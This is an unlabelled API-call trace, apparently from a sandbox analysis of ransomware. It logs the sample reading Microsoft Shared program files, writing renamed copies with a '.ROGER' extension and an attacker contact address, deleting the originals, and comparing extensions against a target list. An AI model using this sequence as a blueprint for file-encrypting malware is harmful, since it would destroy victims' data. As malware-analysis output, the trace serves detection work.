1 [0054.289] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.289] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0054.292] GetLastError () returned 0x0 [0054.292] ReadFile (in: hFile=0x3f0, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0054.315] WriteFile (in: hFile=0x3ec, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0054.334] ReadFile (in: hFile=0x3f0, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x6afa0, lpOverlapped=0x0) returned 1 [0054.347] WriteFile (in: hFile=0x3ec, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0x6afb0, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0x6afb0, lpOverlapped=0x0) returned 1 [0054.357] ReadFile (in: hFile=0x3f0, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.357] WriteFile (in: hFile=0x3ec, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.358] SetEndOfFile (hFile=0x3ec) returned 1 [0054.358] CloseHandle (hObject=0x3ec) returned 1 [0054.358] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.358] SetEndOfFile (hFile=0x3f0) returned 1 [0054.361] CloseHandle (hObject=0x3f0) returned 1 [0054.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0054.362] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 1 [0054.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0054.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0054.362] lstrlenW (lpString=".doc") returned 4 [0054.362] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.362] lstrlenW (lpString=".docx") returned 5 [0054.362] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0054.362] lstrlenW (lpString=".pdf") returned 4 [0054.362] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.362] lstrlenW (lpString=".xls") returned 4 [0054.362] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.362] lstrlenW (lpString=".xlsx") returned 5 [0054.362] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0054.362] lstrlenW (lpString=".ppt") returned 4 [0054.362] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0054.362] lstrlenW (lpString=".zip") returned 4 [0054.362] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.362] lstrlenW (lpString=".rar") returned 4 [0054.362] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.362] lstrlenW (lpString=".bz2") returned 4 [0054.363] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.363] lstrlenW (lpString=".7z") returned 3 [0054.363] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0054.363] lstrlenW (lpString=".dbf") returned 4 [0054.363] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0054.363] lstrlenW (lpString=".1cd") returned 4 [0054.363] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0054.363] lstrlenW (lpString=".jpg") returned 4 [0054.363] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0054.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0054.363] lstrlenW (lpString=".doc") returned 4 [0054.363] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.363] lstrlenW (lpString=".docx") returned 5 [0054.363] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0054.363] lstrlenW (lpString=".pdf") returned 4 [0054.363] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.363] lstrlenW (lpString=".xls") returned 4 [0054.363] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.363] lstrlenW (lpString=".xlsx") returned 5 [0054.363] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0054.363] lstrlenW (lpString=".ppt") returned 4 [0054.363] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0054.363] lstrlenW (lpString=".zip") returned 4 [0054.363] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.363] lstrlenW (lpString=".rar") returned 4 [0054.363] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.363] lstrlenW (lpString=".bz2") returned 4 [0054.363] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.364] lstrlenW (lpString=".7z") returned 3 [0054.364] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0054.364] lstrlenW (lpString=".dbf") returned 4 [0054.364] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0054.364] lstrlenW (lpString=".1cd") returned 4 [0054.364] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0054.364] lstrlenW (lpString=".jpg") returned 4 [0054.364] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.364] lstrcmpiW (lpString1=".CFG", lpString2=".ROGER") returned -1 [0054.364] lstrlenW (lpString="CGMIMP32.CFG") returned 12 [0054.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0054.364] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=6811) returned 1 [0054.364] CloseHandle (hObject=0x3f0) returned 1 [0054.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 0x20 [0054.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0054.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0054.365] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.365] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0054.365] GetLastError () returned 0x0 [0054.365] ReadFile (in: hFile=0x3f0, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x1a9b, lpOverlapped=0x0) returned 1 [0054.558] WriteFile (in: hFile=0x3ec, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0x1aa0, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0x1aa0, lpOverlapped=0x0) returned 1 [0054.559] ReadFile (in: hFile=0x3f0, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.560] WriteFile (in: hFile=0x3ec, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.560] SetEndOfFile (hFile=0x3ec) returned 1 [0054.560] CloseHandle (hObject=0x3ec) returned 1 [0054.560] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.560] SetEndOfFile (hFile=0x3f0) returned 1 [0054.561] CloseHandle (hObject=0x3f0) returned 1 [0054.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0054.561] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 1 [0054.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0054.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0054.565] lstrlenW (lpString=".doc") returned 4 [0054.565] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0054.565] lstrlenW (lpString=".docx") returned 5 [0054.565] lstrcmpiW (lpString1=".docx", lpString2="2.CFG") returned -1 [0054.565] lstrlenW (lpString=".pdf") returned 4 [0054.565] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0054.566] lstrlenW (lpString=".xls") returned 4 [0054.566] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0054.566] lstrlenW (lpString=".xlsx") returned 5 [0054.566] lstrcmpiW (lpString1=".xlsx", lpString2="2.CFG") returned -1 [0054.566] lstrlenW (lpString=".ppt") returned 4 [0054.566] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0054.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0054.566] lstrlenW (lpString=".zip") returned 4 [0054.566] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0054.566] lstrlenW (lpString=".rar") returned 4 [0054.566] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0054.566] lstrlenW (lpString=".bz2") returned 4 [0054.566] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0054.566] lstrlenW (lpString=".7z") returned 3 [0054.566] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0054.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0054.566] lstrlenW (lpString=".dbf") returned 4 [0054.566] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0054.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0054.566] lstrlenW (lpString=".1cd") returned 4 [0054.566] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0054.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0054.566] lstrlenW (lpString=".jpg") returned 4 [0054.566] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0054.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0054.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0054.566] lstrlenW (lpString=".doc") returned 4 [0054.566] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0054.566] lstrlenW (lpString=".docx") returned 5 [0054.566] lstrcmpiW (lpString1=".docx", lpString2="2.CFG") returned -1 [0054.566] lstrlenW (lpString=".pdf") returned 4 [0054.567] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0054.567] lstrlenW (lpString=".xls") returned 4 [0054.567] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0054.567] lstrlenW (lpString=".xlsx") returned 5 [0054.567] lstrcmpiW (lpString1=".xlsx", lpString2="2.CFG") returned -1 [0054.567] lstrlenW (lpString=".ppt") returned 4 [0054.567] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0054.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0054.567] lstrlenW (lpString=".zip") returned 4 [0054.567] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0054.567] lstrlenW (lpString=".rar") returned 4 [0054.567] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0054.567] lstrlenW (lpString=".bz2") returned 4 [0054.567] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0054.567] lstrlenW (lpString=".7z") returned 3 [0054.567] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0054.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0054.567] lstrlenW (lpString=".dbf") returned 4 [0054.567] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0054.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0054.567] lstrlenW (lpString=".1cd") returned 4 [0054.567] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0054.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0054.567] lstrlenW (lpString=".jpg") returned 4 [0054.567] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0054.567] lstrcmpiW (lpString1=".FLT", lpString2=".ROGER") returned -1 [0054.567] lstrlenW (lpString="EPSIMP32.FLT") returned 12 [0054.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0054.568] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=712592) returned 1 [0054.568] CloseHandle (hObject=0x368) returned 1 [0054.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 0x20 [0054.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0054.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0054.568] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.568] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0054.569] GetLastError () returned 0x0 [0054.569] ReadFile (in: hFile=0x368, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0xadf90, lpOverlapped=0x0) returned 1 [0054.583] WriteFile (in: hFile=0x370, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xadfa0, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xadfa0, lpOverlapped=0x0) returned 1 [0054.596] ReadFile (in: hFile=0x368, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.596] WriteFile (in: hFile=0x370, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.596] SetEndOfFile (hFile=0x370) returned 1 [0054.596] CloseHandle (hObject=0x370) returned 1 [0054.596] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.596] SetEndOfFile (hFile=0x368) returned 1 [0054.602] CloseHandle (hObject=0x368) returned 1 [0054.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0054.602] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 1 [0054.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0054.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0054.602] lstrlenW (lpString=".doc") returned 4 [0054.603] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0054.603] lstrlenW (lpString=".docx") returned 5 [0054.603] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0054.603] lstrlenW (lpString=".pdf") returned 4 [0054.603] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0054.603] lstrlenW (lpString=".xls") returned 4 [0054.603] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0054.603] lstrlenW (lpString=".xlsx") returned 5 [0054.603] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0054.603] lstrlenW (lpString=".ppt") returned 4 [0054.603] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0054.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0054.603] lstrlenW (lpString=".zip") returned 4 [0054.603] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0054.603] lstrlenW (lpString=".rar") returned 4 [0054.603] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0054.603] lstrlenW (lpString=".bz2") returned 4 [0054.603] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0054.603] lstrlenW (lpString=".7z") returned 3 [0054.603] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0054.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0054.603] lstrlenW (lpString=".dbf") returned 4 [0054.603] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0054.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0054.603] lstrlenW (lpString=".1cd") returned 4 [0054.603] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0054.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0054.603] lstrlenW (lpString=".jpg") returned 4 [0054.603] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0054.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0054.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0054.603] lstrlenW (lpString=".doc") returned 4 [0054.604] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0054.604] lstrlenW (lpString=".docx") returned 5 [0054.604] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0054.604] lstrlenW (lpString=".pdf") returned 4 [0054.604] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0054.604] lstrlenW (lpString=".xls") returned 4 [0054.604] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0054.604] lstrlenW (lpString=".xlsx") returned 5 [0054.604] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0054.604] lstrlenW (lpString=".ppt") returned 4 [0054.604] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0054.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0055.657] lstrlenW (lpString=".zip") returned 4 [0055.657] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0055.657] lstrlenW (lpString=".rar") returned 4 [0055.657] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0055.657] lstrlenW (lpString=".bz2") returned 4 [0055.657] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0055.657] lstrlenW (lpString=".7z") returned 3 [0055.657] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0055.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0055.657] lstrlenW (lpString=".dbf") returned 4 [0055.657] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0055.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0055.657] lstrlenW (lpString=".1cd") returned 4 [0055.657] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0055.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT") returned 67 [0055.657] lstrlenW (lpString=".jpg") returned 4 [0055.658] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0055.658] lstrcmpiW (lpString1=".CGM", lpString2=".ROGER") returned -1 [0055.658] lstrlenW (lpString="MS.CGM") returned 6 [0055.658] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0057.073] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=1908) returned 1 [0057.073] CloseHandle (hObject=0x41c) returned 1 [0057.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 0x20 [0057.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.140] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0057.140] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.140] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 